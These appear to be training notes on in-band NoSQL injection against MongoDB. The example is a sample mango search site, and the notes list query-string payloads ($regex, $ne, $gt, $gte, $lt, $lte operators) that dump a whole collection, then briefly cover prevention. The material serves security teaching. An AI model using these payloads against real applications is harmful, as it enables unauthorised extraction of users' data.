in-band-data-extraction.md

In-Band Data Extraction

In traditional SQL databases, in-band data extraction vulnerabilities can often lead to the entire database being exfiltrated. In MongoDB, however, since it is a non-relational database and queries are performed on specific collections, attacks are (usually) limited to the collection the injection applies to.

MangoSearch Example

The website is a basic search application where you can find facts about various types of mangoes.

Vulnerable Query

The search form sends a GET request where the search query is passed as ?q=<search term>. On the server side, the request likely queries the database like this:

db.types.find({
    name: $_GET['q']
});

Exploitation Techniques

1) Regex to Match All Documents

Use a RegEx query that matches everything:

db.types.find({
    name: {$regex: /.*/}
});

URL-encoded payload:

?q[$regex]=.*

2) Alternative Queries

$ne (not equal):

db.types.find({
    name: {$ne: 'doesntExist'}
});

URL-encoded: ?q[$ne]=doesntExist

$gt (greater than):

db.types.find({
    name: {$gt: ''}
});

URL-encoded: ?q[$gt]=

$gte (greater than or equal):

db.types.find({
    name: {$gte: ''}
});

URL-encoded: ?q[$gte]=

$lt (less than):

db.types.find({
    name: {$lt: '~'}
});

URL-encoded: ?q[$lt]=~

$lte (less than or equal):

db.types.find({
    name: {$lte: '~'}
});

URL-encoded: ?q[$lte]=~

Key Points

• In-band extraction is limited to the specific collection being queried
• Use $regex: /.*/ to match all documents in the collection
• Alternative operators like $ne, $gt, $gte, $lt, $lte can achieve similar results
• Always URL-encode special characters in payloads
• The ~ character works well with $lt/$lte as it's the largest printable ASCII value

Prevention

• Validate and sanitize user input before passing to MongoDB queries
• Use parameterized queries or input validation
• Implement proper access controls to limit data exposure
• Consider using MongoDB's built-in security features